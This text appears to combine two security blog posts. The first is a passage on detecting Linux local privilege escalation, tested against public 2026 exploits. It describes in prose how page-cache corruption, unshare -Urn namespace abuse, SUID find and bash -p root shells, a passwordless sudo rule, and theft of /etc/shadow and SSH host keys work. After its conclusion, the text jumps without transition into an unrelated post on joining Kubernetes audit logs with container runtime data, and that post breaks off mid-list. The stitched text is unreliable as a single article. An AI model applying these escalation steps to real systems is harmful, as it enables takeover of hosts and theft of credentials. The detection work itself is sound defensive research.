A growing share of public PoCs finish with a one-line interpreter payload, and Python is the workhorse. Rather than matching an exact one-liner, we key on a uid_change to 0 where the responsible process is a Python interpreter running from a world-/user-writable working directory with a non-root parent. 

As this activity is also known to hit on false positives, the new terms rule type was used to only alert on instances where the process.command_line hasn’t been seen on the host.id in the last five days. 

With so many 2026 PoCs (Copy Fail, DirtyClone, CIFSwitch among them) shipped as Python, this catches the interpreter-driven finish generically, independent of the specific exploit. This maps to Suspicious UID Change to Root via Python and its Elastic Defend counterpart, which is slightly more restricted in terms of logic: Potential Privilege Escalation via Python Exploit.

More exec and elevate rules for Linux privilege escalation detection

We just described the most common exec and elevate relationships. However, several LPEs don’t trigger on the parent/descendant relationship, but require keying on parent → child or process → process relationships. You can find the whole list of public detection and endpoint rules below:

• General Privilege Escalation Sequence Detected

• UID Change to 0 from Unusual Process Executable

• UID Elevation from Previously Unknown Executable

• Potential Privilege Escalation via a Parent Process Sequence

• Potential Privilege Escalation via a Parent/Child Process Sequence

• Potential Privilege Escalation via a Suspicious UID Change

• Potential Local Privilege Escalation via a Suspicious Descendant Process

• Suspicious UID Change to Root via Python

• Potential Privilege Escalation via Python Exploit

The main difference between the detection and endpoint rule logic is the scope. Our endpoint detection and response (EDR) ruleset is generally optimized for a low false positive rate, over a high true positive rate. Because this can lead to false negatives, we “duplicate” the endpoint rule logic to detection rules with fewer to zero exclusions.

Detecting unshare and user namespace privilege escalation

Not every escalation runs straight at a setuid binary or a kernel bug in the host context. A large family of Linux LPEs first calls unshare(CLONE_NEWUSER) to gain capabilities inside a new user namespace and then uses that borrowed power to reach code paths (filesystems, mounts, networking) that were never meant to take untrusted input. Because that unshare step is shared across CIFSwitch, pedit COW, DirtyClone, and container escapes, we detect it independently of whichever bug follows.

We detect two behavioral red flags: correlating the namespace creation to a root transition, and flagging anomalous unshare usage on its own.

Detecting unshare followed by a root transition

The high-confidence form correlates a non-root unshare that creates a user namespace with a uid_change to 0 shortly after, under the same lineage.

Match the namespace flags by substring rather than by exact token, so the combined short form is caught alongside the split -U -r -m form. This maps to Potential Local Privilege Escalation via Unshare.

The auditd variant additionally keys on the unshare syscall's namespace-flag argument, which is independent of how the flags were spelled on the command line.

Tying the unshare to the subsequent uid_change keeps false positives low; sandboxing and container tooling call unshare constantly but rarely transition to root in the same lineage. This maps to Potential Privilege Escalation via unshare Followed by Root Process.

Detecting anomalous unshare usage without a root transition

Some namespace abuse is worth surfacing before any root transition, in particular, container escapes, where the goal is the host rather than uid 0. This form keys on unshare execution itself, filtered down to the parents that don’t legitimately use it.

The standalone unshare rule differs from the sequence rules by needing no root transition at all, which makes it a broader hunting and triage signal (and a noisier one), useful for the escape-to-host case that the correlation rules would never see. This maps to Namespace Manipulation Using Unshare.

GTFOBins abuse: Privilege escalation from a misconfigured SUID bit

The last category is the plain misconfiguration end of the spectrum: a binary that shouldn’t be setuid-root is, and dropping to a root shell is a one-liner straight out of GTFOBins. There’s no CVE or exploit chain, just a privilege that was granted and then abused.

Detecting known GTFOBins binaries running as root

A large, curated set of interactive-capable binaries (find, gdb, vim, dd, nmap, and many more) can spawn a shell or run a command, and when any of them ships setuid-root, that’s instant root. As this is a known list, we can use a large allowlist to detect this activity. We again use the ID versus real ID correlation to detect the execution of the SUID binary, in conjunction with a known SUID binary and a set of known noisy exclusions. The process listing is ordered from A-Z.

This is the highest-volume, best-understood class, and a maintained name list keeps it cheap to run. It maps to Potential Privilege Escalation via SUID Binary.

Detecting GTFOBins edge cases: Capabilities and copied shells

While having this one allowlisted rule catches a lot of known bad behavior, it doesn’t suffice in scenarios where a capability, such as cap_setuid bit, is set instead of just a +s bit, or when a shell is copied to another directory and run from there. To catch some of these edge cases, we have several other rules in place:

• Potential Privilege Escalation via SUID Binary

• Shell Privileged Mode from Non-Standard Path with Root Effective User

• Potential Root Effective Shell from Non-Standard Path via Auditd

• Potential Privilege Escalation via Python cap_setuid

With this general layer in place, we’ll now take a look at some of 2026’s LPEs. For each showcased technique, we explain how it works, run and validate the detection of the public PoC, and note the rules that fire (the general-flow rules above, plus anything technique-specific).

Testing the framework against 11 public proof-of-concept exploits

To test whether this model survives changes in implementation, we ran 11 public exploit PoCs and two SUID misconfiguration cases. The summary records the first useful signal from each run, the privileged effect the test reached, and the rules that best explain the chain.

“No distinct precursor alert” means that the run produced no alert identifying the kernel primitive before the privileged effect. It does not mean that the PoC generated no userland activity.

Page-cache and zero-copy corruption

Copy Fail: CVE-2026-31431 · AF_ALG AEAD page-cache corruption

Observed path: AF_ALG socket() and splice() burst → cached /usr/bin/su corrupted → su executes with root effective UID.

Key alerts: Potential Copy Fail (CVE-2026-31431) Exploitation via AF_ALG Socket; Suspicious SUID/SGID Utility Execution.

DirtyFrag: CVE-2026-43284 / CVE-2026-43500 · ESP or RxRPC page-cache corruption

Observed path: No distinct primitive alert in this run → shared page-cache fragments reach in-place processing → /bin/su executes with root effective UID.

Key alerts: Potential Privilege Escalation via a Parent/Child Process Sequence; Suspicious SUID Binary Execution; Suspicious SUID/SGID Utility Execution.

Fragnesia skb_segment() variant: related to CVE-2026-46300 · GRO/GSO fragment-marker loss

Observed path: Local compilation and network activity → skb_segment() loses the shared-fragment marker → ESP-in-TCP modifies cached /usr/bin/su and the corrupted image executes.

Key alerts: Potential Privilege Escalation via Recently Compiled Executable; Network Connection via Recently Compiled Executable; UID Elevation from Previously Unknown Executable.

DirtyDecrypt / DirtyCBC: CVE-2026-31635 · RxGK in-place decryption

Observed path: Local compilation; PoC creates user and network namespaces internally → AF_RXRPC and splice() place file-backed pages in the decrypt path → /usr/bin/su produces the privileged shell in this test.

Key alerts: General Privilege Escalation Sequence Detected; Potential Privilege Escalation via Recently Compiled Executable; Potential Privilege Escalation via SUID/SGID Proxy Execution.

pedit COW: CVE-2026-46331 · tc act_pedit partial COW

Observed path: PoC calls unshare() internally and configures act_pedit through Netlink → write extends beyond the copied region → cached su entry point is replaced and execution yields a root shell.

Key alerts: UID Elevation from Previously Unknown Executable; Potential Privilege Escalation via a Suspicious UID Change; Potential Privilege Escalation via SUID/SGID Proxy Execution.

DirtyClone Python port: CVE-2026-43503 · TEE clone and ESP page-cache corruption

Observed path: Python PoC executes from a user-controlled directory → cloned socket buffer loses SKBFL_SHARED_FRAG → Python uid_change to 0 observed.

Key alerts: Potential Privilege Escalation via Python Exploit; public SIEM counterpart: Suspicious UID Change to Root via Python.

For DirtyClone, confirm whether the observed uid_change represented host root or namespace-mapped root before describing it as completed host escalation.

Namespace and trusted-helper exploitation

CIFSwitch:CVE-2026-46243 · CIFS origin validation and trusted helper

Observed path: unshare creates a hostile mount namespace → forged cifs.spnego request launches root-owned cifs.upcall → helper loads attacker-controlled NSS code and writes a sudoers rule.

Key alerts: Namespace Manipulation Using Unshare; Suspicious Path Mounted; Sudoers File Activity.

OVSwrap:CVE-2026-64531 · OVS nested Netlink length truncation

Observed path: unshare -Urn provides namespace-local CAP_NET_ADMIN → wrapped nla_len enables kernel read and decrement primitives → host writer creates a passwordless sudo rule and launches sudo -n bash.

Key alerts: Namespace Manipulation Using Unshare; Passwordless Sudo Probing; Suspicious UID Change to Root via Python.

Ptrace_may_dream: CVE-2026-46333 · Exit-time FD theft and AccountsService abuse

Observed path: busctl --system call triggers AccountsService activity → pidfd_getfd() race duplicates a root-authenticated D-Bus socket → account shell, password, and administrator status are changed before su/sudo yields root.

Key alerts: Potential Privilege Escalation via Busctl System Call; File Creation in World-Writable Directory by Unusual Process.

Privileged file-descriptor theft

Ssh-keysign-pwn:CVE-2026-46333 · Exit-time FD theft

Observed path: Recently compiled PoC repeatedly starts SUID-root ssh-keysign → races pidfd_getfd() during process exit → duplicates and reads one SSH host private-key descriptor; no root shell.

Key alerts: Suspicious SUID Binary Execution; Potential Privilege Escalation via a Parent/Child Process Sequence; Potential Privilege Escalation via Recently Compiled Executable.

Chage_pwn:CVE-2026-46333 · Exit-time FD theft

Observed path: PoC repeatedly starts chage -l → races pidfd_getfd() after privilege drop → duplicates the open /etc/shadow descriptor and reads the file; no root shell.

Key alerts: Potential Shadow Read via Unprivileged User.

SUID misconfiguration

SUID find -exec: No CVE · SUID misconfiguration

Observed path: Root-owned SUID find executes /bin/sh -p through -exec → shell retains root effective UID.

Key alert: Privilege Escalation via SUID/SGID.

Privileged Bash with -p: No CVE · SUID misconfiguration

Observed path: System Bash is copied to a non-standard path and configured SUID-root → bash -p preserves the elevated effective UID → root-capable shell.

Key alerts: System Binary Copied or Moved; Shell Privileged Mode from Non-Standard Path with Root Effective User.

With the general layer in place, the public PoCs become a validation set. We don’t need every exploit to look the same. We need the alerts to tell the same story: an unprivileged process prepares the ground and crosses a trust boundary, and then a root process appears. 

Sometimes the earliest signal is a kernel primitive, such as AF_ALG plus splice(), and other times it’s namespace setup with unshare. Sometimes the trigger is quiet, and the only clean signal is the finish: a SUID helper, a Python process, or a shell suddenly running with effective uid 0. That’s the point of layering. Each PoC enters through a different door, but the investigation keeps folding back into the same model: precursor, root transition, and privileged execution. 

Kernel page-cache and zero-copy corruption: The Copy Fail bug class

The page-cache corruption variants are the clearest example of why per-CVE detection is too narrow. Linux uses zero-copy paths, such as splice() and sendfile(), to move file-backed page-cache pages through kernel subsystems without copying them. When one of those subsystems writes in place without first honoring copy-on-write, an unprivileged user can corrupt the in-memory image of a privileged file. The file on disk may remain clean, but the cached version of /usr/bin/su, /bin/su, or another privileged target is no longer the version that the system administrator expects.

The lineage runs from DirtyCOW and Dirty Pipe into the 2026 wave: Copy Fail, DirtyFrag, DirtyClone, Fragnesia, pedit COW, and related variants. The interfaces differ, but the defender’s problem is the same. We want to catch the primitive where it’s stable, and we want to catch the privileged outcome when the primitive isn’t visible enough.

Copy Fail (CVE-2026-31431)

Copy Fail is the cleanest place to start because it gives us both sides of the story. The public PoC chains an AF_ALG socket with splice() to land a controlled write into a page-cache page and then uses that corruption against a privileged file. Public technical write-ups describe the vulnerable path as the authencesn AEAD implementation mishandling input manipulated through splice(), producing page-cache corruption through the crypto API. 

In Kibana, this gives us a rare luxury: detection of the primitive and of the finish. The auditd layer can catch the non-root process producing a burst of socket(AF_ALG) calls interleaved with splice(), while Elastic Defend catches the behavioral outcome when the corrupted privileged file is executed. 

The screenshot shows the expected mix: Potential Copy Fail (CVE-2026-31431) Exploitation via AF_ALG Socket alongside multiple SUID/SGID detections spread across security information and event management (SIEM) and EDR, where Suspicious SUID/SGID Utility Execution is the main EDR rule that fires when su runs with elevated effective privileges. This is the ideal case for layered detection; the kernel-specific signal tells us which exploit family we’re probably looking at, and the general-flow rules confirm that the host actually crossed into root. 

DirtyFrag (CVE-2026-43284)

DirtyFrag is a useful counterexample. It reaches the same page-cache corruption outcome, but it doesn’t look like Copy Fail on the wire. Public research describes DirtyFrag as chaining the xfrm-ESP Page-Cache Write issue (CVE-2026-43284), with the RxRPC Page-Cache Write issue (CVE-2026-43500). The common failure is that shared socket-buffer fragments can reach in-place writers without the kernel first forcing a safe copy. 

That changes the detection story. We shouldn’t expect the AF_ALG rule to fire, because this is no longer the Copy Fail primitive. What remains stable is the finish. In the lab run, the exploit process drives the corruption, and then /bin/su appears with root effective privileges, while the real user remains non-root. 

The screenshot shows the general layer doing the work: Suspicious SUID Binary Execution, Potential Privilege Escalation via a Parent/Child Process Sequence, and the Elastic Defend Suspicious SUID/SGID Utility Execution alert. The trigger changed, but the host still had to execute a privileged binary in a suspicious lineage.

The full auditd configuration and queries for the AF_ALG and DirtyFrag primitive coverage are in the Copy Fail and DirtyFrag research. The next variants keep the same page-cache finish but move the trigger into different kernel interfaces.

Fragnesia (CVE-2026-46300)

Fragnesia is close enough to DirtyFrag that it belongs right next to it, but it adds a useful detection angle because the public PoC leaves more endpoint exhaust. The PoC targets skb_segment() in net/core/skbuff.c. During Generic Segmentation Offload (GSO) segmentation, skb_segment() propagates SKBFL_SHARED_FRAG from the head skb but not from a frag_list member that carries page-cache-backed fragments. Once that marker is lost, the resulting skbs can pass the ESP skip_cow guard and be decrypted in place over page-cache pages. The trigger is networking-heavy, namespaces, veth pairs, send(), splice(), Generic Receive Offload (GRO) coalescing, GSO segmentation, and an ESP-in-TCP receiver, but the primitive is the same shape we keep seeing: a controlled page-cache write that’s iterated until a SUID binary is corrupted and a root shell appears. 

In Kibana, this one is louder than DirtyClone and more endpoint-friendly than a pure syscall primitive. The screenshot shows ./skb_segment_exploit driving the setup, followed by /usr/bin/su as the privileged finish. The alerts line up with that story. Two unique rules that triggered are related to the compilation of this exploit on the host, right before execution, and the fact that this exploit makes local network connections:

• Potential Privilege Escalation via Recently Compiled Executable

• Network Connection via Recently Compiled Executable

This is followed by similar SIEM and EDR rules triggering on the general LPE process:

• UID Elevation from Previously Unknown Executable

• Potential Privilege Escalation via SUID/SGID Proxy Execution (EDR and SIEM)

• Privilege Escalation via SUID/SGID

• Potential Privilege Escalation via a Suspicious UID Change

• Potential Privilege Escalation via a Parent Process Sequence

• File Creation in World-Writable Directory by Unusual Process

That’s the right detection outcome for this variant. We don’t need a narrow rule named after skb_segment() to get useful coverage. The kernel trigger is specialized and timing-sensitive, but the exploit still has to stage from a user-controlled context, exercise an unusual local networking path, corrupt a privileged target, and pivot through a SUID helper. The general-flow rules capture the root transition, while the recently compiled executable, world-writable file, network, and SUID/SGID alerts provide the analyst with sufficient context to recognize the Fragnesia-style path.

DirtyDecrypt / DirtyCBC (CVE-2026-31635)

DirtyDecrypt, also called DirtyCBC by the PoC authors, is another Copy Fail–style page-cache write, but the abused interface moves into RxRPC. The repository describes it as an rxgk page-cache write caused by a missing copy-on-write guard in rxgk_decrypt_skb(). The PoC comments spell out the failure mode: rxgk_decrypt_skb() builds an skb scatterlist and calls into Kerberos decryption without first forcing a safe copy, while the krb5enc AEAD template decrypts in place before the HMAC check. When the skb fragments are backed by page-cache pages, the failed decrypt still corrupts the cached file data. 

In practice, this looks like a sibling of DirtyFrag rather than of Copy Fail. There’s no AF_ALG burst to lean on. The PoC sets up user and network namespaces, drives the RxRPC path over loopback, splices file-backed pages into the packet path, and repeatedly fires the decrypt primitive until the target bytes land. The checked PoC then targets a readable SUID-root binary, such as /usr/bin/su, backs it up under /tmp, corrupts the in-memory image with a tiny setuid(0) plus /bin/sh payload, and executes the target. 

The screenshot shows the same layered outcome that we’ve seen across the page-cache family. The exploit process is ./dirtydecrypt, launched from a user-controlled working directory, and the privileged finish is /usr/bin/su. Coverage comes from the general-flow and SUID layers: 

• General Privilege Escalation Sequence Detected

• Potential Privilege Escalation via SUID/SGID Proxy Execution (EDR and SIEM)

• Potential Privilege Escalation via Recently Compiled Executable

• File Creation in World-Writable Directory by Unusual Process

• Potential Privilege Escalation via a Suspicious UID Change

• Potential Privilege Escalation via a Parent Process Sequence

• UID Elevation from Previously Unknown Executable

• Privilege Escalation via SUID/SGID

DirtyDecrypt moves the primitive into RxRPC and Kerberos-style in-place decrypt, but the endpoint story is still familiar: a recently compiled local PoC stages from a writable path, corrupts a privileged file-backed page, and pivots through a SUID helper.

pedit COW (CVE-2026-46331)

pedit COW moves the same failure mode into traffic control. Instead of crypto sockets or ESP/RxRPC paths, the abused interface is the tc packet-editing action, act_pedit. The kernel computes a copy-on-write range before the edit loop, but that calculation can miss the runtime offset used by typed keys, leaving part of the write region outside the copied area. The result is another page-cache corruption path. NVD describes the issue as net/sched: fix pedit partial COW leading to page cache corruption, where tcf_pedit_act() computes the COW range once before the key loop and can leave part of the write region un-COW’d. 

pedit COW looks nothing like Copy Fail in telemetry. There’s no AF_ALG burst. The PoC needs the traffic-control path and typically begins by obtaining namespace-local networking capability, such as CAP_NET_ADMIN, through unshare. From the detection side, that means we lean on the namespace precursor and the root outcome. 

The screenshot shows this clearly. Some of the interesting alerts are the broader signals: file creation in a world-writable directory, UID elevation from a previously unknown executable, suspicious UID change, parent-process escalation, and SUID/SGID proxy execution. There’s currently no per-CVE tc rule, but the layered model still catches the behavior that matters: a user-controlled process sets up the path, corrupts the privileged image, and pivots into root execution. 

DirtyClone (CVE-2026-43503)

DirtyClone is the quietest of the page-cache examples in the endpoint view. The bug sits in the Linux networking stack, where socket-buffer fragment transfer helpers fail to preserve the SKBFL_SHARED_FRAG marker. When that marker is lost, later in-place writers can treat shared, file-backed memory as private and write into page-cache-backed data. NVD describes CVE-2026-43503 as missing propagation of SKBFL_SHARED_FRAG through helpers such as __pskb_copy_fclone() and skb_shift(), which can let an unprivileged user write into the page cache of a root-owned read-only file through later in-place writers.

In our run, the public PoC doesn’t give us a loud, stable userland primitive to key on. It’s Python-driven, runs from a user-controlled working directory, and crosses into root. That makes it a perfect test for the general-flow layer.

The screenshot shows one alert: Potential Privilege Escalation via Python Exploit. That may look sparse compared to Copy Fail, but it’s an important result. It means that the framework still produced a signal when the implementation didn’t expose a useful per-CVE tell. We can enrich later if a stable syscall or interface pattern emerges, but we don’t need to wait for that to detect the root transition.

Taken together, the page-cache examples show the full range. Copy Fail gives us primitive-plus-outcome. DirtyFrag and Fragnesia show the same corruption model moving through networking paths, where SKB fragment handling, zero-copy, and in-place ESP processing do the damage. pedit COW moves the idea into traffic control. DirtyClone shows why the outcome layer has to stand on its own when the kernel trigger is quiet.

Exploits that start with unshare: CIFSwitch and OVSwrap

The next set of PoCs looks different because the attacker first changes the privilege context around the process. A large family of Linux LPEs begins with unshare(CLONE_NEWUSER), which gives an ordinary user capabilities inside a new namespace. Those namespace-local capabilities open kernel code paths in networking, filesystems, and mounts that weren’t designed with untrusted local users in mind.

This is also where kernel bugs and userspace helpers start to blur together. Some exploits use unshare to reach a kernel primitive. Others use it to build a hostile filesystem or mount namespace and then trick a privileged helper into trusting what it sees. For detection, unshare is valuable because it happens early and repeats across otherwise unrelated techniques.

CIFSwitch (CVE-2026-46243)

CIFSwitch is a trusted-helper bug reached through the kernel. The PoC abuses a missing validation in the cifs.spnego key type: an attacker calls request_key() with a forged key description, causing the kernel to invoke the root-owned cifs.upcall helper with attacker-controlled fields. With upcall_target=app, the helper enters the attacker's mount namespace and performs a getpwuid() lookup before dropping privileges: loading an attacker-controlled Network Security Services (NSS) library and executing code as root. 

The important part is the handoff. The exploit starts with unshare to build the hostile namespace and then relies on a privileged helper to finish the escalation. That gives us several detection opportunities before and during the root transition.

The screenshot shows the expected spread:

• Potential Privilege Escalation via a Parent Process Sequence

• Namespace Manipulation Using Unshare

• Sudoers File Activity

• Potential Privilege Escalation via Python Exploit

• Potential Privilege Escalation via unshare and UID Change

• Suspicious Path Mounted

• Potential Local Privilege Escalation via Unshare

That’s the right shape for this technique. We aren’t depending on a rule named after CIFSwitch. We’re catching the setup, the suspicious namespace behavior, the mount activity, and the root transition. If the helper changes, the early namespace signal and the general escalation rules still give us coverage.

OVSwrap (CVE-2026-64531)

OVSwrap is a good example of the other side of namespace-based privilege escalation. Unlike CIFSwitch, where the namespace is used to construct an environment that a privileged userspace helper later trusts, OVSwrap uses a private user and network namespace to reach a vulnerable kernel interface directly. An ordinary user can run unshare -Urn, gain CAP_NET_ADMIN over the newly created network namespace, and create a private Open vSwitch (OVS) datapath without needing host-level CAP_NET_ADMIN.

The vulnerability is in the kernel's OVS action handling. OVS accepts nested Netlink actions from userspace and expands them into an internal action stream, but the nla_len field describing an individual Netlink attribute is only 16 bits wide. Before the fix, a generated nested action could grow beyond 65,535 bytes without being rejected. The stored length would wrap, causing later OVS parsing to resume from attacker-controlled data inside the generated action stream. The public PoC uses this to construct kernel read and targeted decrement primitives, locate a host-side process and its credentials, and modify its fsuid and fsgid until the process can write as root.

The endpoint story is particularly useful for detection because the kernel primitive itself is complex, but the setup and finish are not. The PoC is Python-driven and creates a private namespace with unshare; after corrupting the host-side writer's credentials, it writes a passwordless sudo rule and executes sudo -n bash.

In the lab run, this produced the following alerts:

• Potential Privilege Escalation via Python Exploit

• Namespace Manipulation Using Unshare

• Passwordless Sudo Probing

• Suspicious UID Change to Root via Python

• Potential Shadow File Read via Command Line Utilities (manual validation activity)

This is exactly the kind of exploit where the layered approach pays off. We don’t need an endpoint rule that understands malformed OVS CLONE actions, conntrack expansion, forged tunnel metadata, or the kernel decrement primitive. Instead, we see the stable behavior around it: a Python PoC enters a new namespace, unshare exposes a privileged kernel networking path, the process crosses from an ordinary user context into host-root capabilities, and the exploit finishes through passwordless sudo.

OVSwrap therefore complements CIFSwitch nicely. Both begin with an unprivileged user creating namespaces, but what happens next is very different: CIFSwitch hands control to a privileged helper, while OVSwrap attacks the kernel's OVS datapath and directly corrupts host credentials. The implementation changes; the namespace precursor and root-transition layer remain useful.

Privileged D-Bus and policy helpers 

Not every helper-based LPE starts with a namespace. Some go straight at the services that grant controlled root access: sudo, polkit / pkexec, and privileged services reachable over D-Bus. These components are heavily used and well-audited, but they sit directly on the privilege boundary. One logic slip can turn a normal user request into root execution.

The upside for defenders is that the actors are named. We can key on specific binaries, services, and command-line shapes, in addition to the general root-transition layer.

ptrace_may_dream (busctl abuse)

ptrace_may_dream is a good example of a helper path that’s precise in telemetry. The technique talks to a privileged D-Bus system service directly with busctl. The escalation is driven by an unprivileged user invoking busctl --system call against a service that then performs a privileged action on the user’s behalf.

Because the tell is specific and rarely legitimate in normal workstation or server activity, detection can be tight.

The screenshot shows repeated Potential Privilege Escalation via Busctl System Call alerts, plus File Creation in a World-Writable Directory by Unusual Process. That’s a different detection shape from the page-cache examples, but the same investigation logic applies: suspicious precursor, privileged service interaction, and a path toward root-controlled behavior.

Privileged file-descriptor theft from trusted helpers

The previous examples all end in something easy to recognize: a process becomes root, a privileged service acts, or a SUID binary hands the user a shell. This pattern is slightly different. The attacker doesn’t need the helper to execute a command. They need it to open something privileged, drop credentials, and die slowly enough that the file descriptor can be stolen.

That’s the core of CVE-2026-46333. The bug sits in the kernel’s __ptrace_may_access() path. During process exit, there’s a short window when a task has already dropped its memory image but still has open file descriptors. Paired with pidfd_getfd(), that window lets an unprivileged process duplicate descriptors from a dying privileged process when the credential checks line up. Qualys described the impact as both credential disclosure and root-code-execution potential, with case studies against chage, ssh-keysign, pkexec, and accounts-daemon.

For defenders, this is an important variation on the normal LPE flow. A successful exploit may never create an obvious root shell. Instead, root-only material leaves the boundary: SSH host private keys, /etc/shadow, or an authenticated privileged IPC connection. The detection strategy, therefore, has to widen slightly. We still care about suspicious SUID/SGID execution and parent-child escalation, but we also care about non-root processes entering sensitive group context, especially from user-writable or freshly compiled paths. 

ssh-keysign-pwn (CVE-2026-46333)

ssh-keysign-pwn targets OpenSSH’s ssh-keysign helper. The helper is interesting because it opens SSH host private keys before dropping privileges. The public PoC repeatedly spawns ssh-keysign, opens a pidfd for the child, races pidfd_getfd() across likely file descriptors, and checks whether any duplicated descriptor points to an ssh_host_*_key file. The repository describes the target directly: sshkeysign_pwn pulls SSH host private keys, while chage_pwn pulls /etc/shadow. 

In the screenshot, the parent process is the user-controlled ./sshkeysign_pwn binary, and the privileged child is /usr/lib/openssh/ssh-keysign. The privilege shape is exactly what the SUID/SGID layer is built for: ssh-keysign runs with user.id:0, while the real user remains 1000, and the parent is a recently compiled executable in the user’s working directory. This results in the following rules triggering:

• Suspicious SUID Binary Execution

• Potential Privilege Escalation via SUID/SGID

• Potential Privilege Escalation via a Parent/Child Process Sequence

• Potential Privilege Escalation via Recently Compiled Executable

That’s enough to make the alert useful, even though the payload is a stolen descriptor, not a shell. The endpoint doesn’t have to prove that the SSH host key was printed to stdout. The host already showed the suspicious relationship that matters: a local PoC repeatedly drove a SUID-root helper that briefly held root-only secrets. 

chage_pwn (CVE-2026-46333)

chage_pwn uses the same kernel primitive against a different helper and a more directly dangerous file. chage -l <user> opens account-aging data, including /etc/shadow, and then drops privileges. The PoC forks chage, opens a pidfd for the child, races pidfd_getfd() over candidate descriptors, looks for a duplicated descriptor pointing at /etc/shadow, and then reads from that descriptor.

This one is useful because it validates a slightly different detection idea. The screenshot shows repeated Potential Shadow Read via Unprivileged User alerts on ./chage_pwn root. The process is still running as the unprivileged user, but the meaningful transition is group-based: the process enters shadow context from a user-controlled executable path. 

Plain SUID and SGID misconfiguration 

The last examples are deliberately simple. A binary that shouldn’t be SUID-root is SUID-root, and the user runs it in the way that GTFOBins has documented for years. It’s the same finish we saw in the page-cache family, just without the corruption step. Copy Fail, DirtyFrag, pedit COW, and similar bugs often end by making a privileged binary behave like an attacker-controlled SUID helper. GTFOBins abuse starts there.

SUID abuse example: Root shell via find -exec

find can execute commands with -exec. When find is SUID-root, that executed command inherits the elevated context.

The screenshot shows that find runs with root effective privileges, while the real user is non-root, and the command line includes the shell execution path. The alert is Privilege Escalation via SUID/SGID. 

Privileged-mode shell: Root from bash -p

Shells usually drop elevated privileges unless told not to. The -p flag keeps the privileged effective identity. If a SUID-root shell exists, or if a root-owned copy of bash is placed somewhere unusual with the SUID bit set, launching it with -p drops the caller directly into a root-capable shell. 

The screenshot shows two useful detections: System Binary Copied or Moved, followed by Shell Privileged Mode from Non-Standard Path with Root Effective User. First, a system binary was copied into an unusual location (which is specific to how we set up this technique). Then the copied shell was executed in privileged mode.

This is the simplest form of the same pattern that we’ve been following throughout the section. A user-controlled path, a privileged execution context, and a root-capable process. Whether the attacker got there through AF_ALG, ESP/RxRPC, act_pedit, unshare, D-Bus, or a bad SUID bit, the endpoint story is still recognizable.

What this Linux privilege escalation detection framework covers

In this edition of our "Linux Detection Engineering" series, we built a layered framework for Linux local privilege escalation. The first layer detects the default flow every escalation shares: an unprivileged process executing from a writable path and becoming root, whether through a SUID helper, a self-elevating exploit, a suspicious descendant reaching root, a full exec-elevate-confirm sequence, a root shell from a nonstandard path, or an interpreter one-liner. The second layer adds bug-class coverage across the kernel page-cache corruption family, namespaces and capabilities, trusted-helper abuse, sudo and polkit, privileged D-Bus services, and plain SUID/SGID misconfiguration.

The value of this framework is durability. The 2026 surge produced many new CVEs, but they largely reused a handful of ideas and all ended in the same observable root transition, so outcome-oriented detection held up as the PoCs multiplied. It doesn’t claim to catch every possible LPE, but it gives defenders broad, resilient coverage of how escalations actually behave and a clear place to slot in each new technique as it appears.

Real incidents cross both planes, which is why our write-up of the Hugging Face intrusion shows Kubernetes and runtime abuse in the same campaign. The two data sources answer different questions:

Data source

Typical data streams

What it answers

Kubernetes audit

logs-kubernetes.audit_logs-*

Who called the API and which objects changed

D4C

logs-cloud_defend.process*, logs-cloud_defend.file*, logs-cloud_defend.alerts*

What ran or changed inside the container

This post makes that connection practical in Elastic. We cover the fields that join the two data sources and two ways to join across them, depending on how the API call is attributed. We also cover the one-sided context fields that help you read the activity. Plus, we walk through each of those with queries and result views from our Amazon Elastic Kubernetes Service (EKS) lab.

This continues the control-plane correlation thread from the TeamPCP container attack scenario. For D4C setup and policy basics, see Getting started with Defend for Containers.

How Kubernetes audit logs and container runtime data connect

Two joins cover most cases. Which one you use depends on how Kubernetes attributed the API call.

Pod caller identity

Service account and objectRef

When to use it

The audit event carries the pod-name extra, which happens when a request uses the pod's bound service account identity from inside the pod

The call is attributed only as a service account in user.name, with no pod-name extra on the event

Kubernetes audit field

kubernetes.audit.user.extra. authentication.kubernetes.io/pod-name

kubernetes.audit.objectRef.name, filtered to objectRef.resource: pods

Container runtime field

orchestrator.resource.name

orchestrator.resource.name, plus orchestrator.namespace

What you get

Direct attribution; the pod that made the API call is the pod you look at in runtime

The pods a suspicious service account created or execed into, as a set to investigate

Limits

Only works when the pod-name extra is present, so it misses calls attributed as a bare service account

If more than one service account touched the same pod in your window, runtime gives shared context rather than clean attribution

Join keys shared by Kubernetes audit logs and container runtime

These fields carry the same meaning on both data sources. Pair them with a time window around the activity you care about (often 15 to 60 minutes).

Join idea

D4C field

Kubernetes audit field

How it connects

Namespace

orchestrator. namespace

orchestrator.namespace or kubernetes.audit .objectRef.namespace

Scopes both data sources to the same workload space

Cluster

orchestrator. cluster.name

orchestrator.cluster.name

Keeps multi-cluster environments from mixing

Time

@timestamp

@timestamp

Bounds the join

Pod (create → use)

orchestrator. resource.name

kubernetes.audit.objectRef.name when the audit event is about that pod (create, exec, and similar)

Links a control-plane change to runtime inside the new or targeted pod

Pod (caller identity)

orchestrator. resource.name

kubernetes.audit. user.extra.authentication .kubernetes.io/pod-name

Links runtime in a pod to API calls Kubernetes attributes to that same calling pod

One of the most useful pod joins for tracking threat behavior is create and then use. K8s audit records the create (or an exec) and names the pod. We then use that same pod name on the D4C side to see what ran inside it a few minutes later. Once you know the namespace and pod name, look for matching orchestrator.namespace and orchestrator.resource.name, and then scan process.name and process.args for what ran in that pod.

Joining on pod caller identity

Some Elastic prebuilt rules correlate D4C and K8s audit in one detection using Event Query Language (EQL) sequences across both data sources. Service Account Token or Certificate Access Followed by Kubernetes API Request is a useful example of the pod (caller identity) join from the table above. Within 60 seconds, it joins a service account token or digital certificate file open on orchestrator.resource.name to a Kubernetes audit API event on kubernetes.audit.user.extra.authentication.kubernetes.io/pod-name.

That pod-name extra on a Kubernetes audit event is often present when a request uses the pod’s bound service account (SA) identity, including controllers and agents that call the API from inside the pod. When it’s present, you can line it up with the D4C field orchestrator.resource.name, including in sequence rules like the one above. Some API traffic is attributed only as a service account in user.name, without the pod-name extra. That requires a different join; start from the SA, collect pod names from objectRef, and carry those into D4C with the namespace and a shared time window. That path is shown next. 

Joining on service account and objectRef pod names

Caller identity joins on the pod that made the API call. This section joins on the service account principal and the pods it touched. Both are valid ways to move between Kubernetes audit and D4C; which one fits depends on how the audit event is attributed.

This join assumes a compromised or suspicious service account is driving API activity and that the pods it creates or execs into are where we should look next in D4C.

The join runs in three steps:

1. Timeline the service account in Kubernetes audit logs. Filter on user.name matching system:serviceaccount:<namespace>:<sa> to see every API call that principal made and which objects it touched.

2. Collect pod names from kubernetes.audit.objectRef.name. Keep the rows where objectRef.resource is pods, which covers both creates and execs, and note the namespace from orchestrator.namespace.

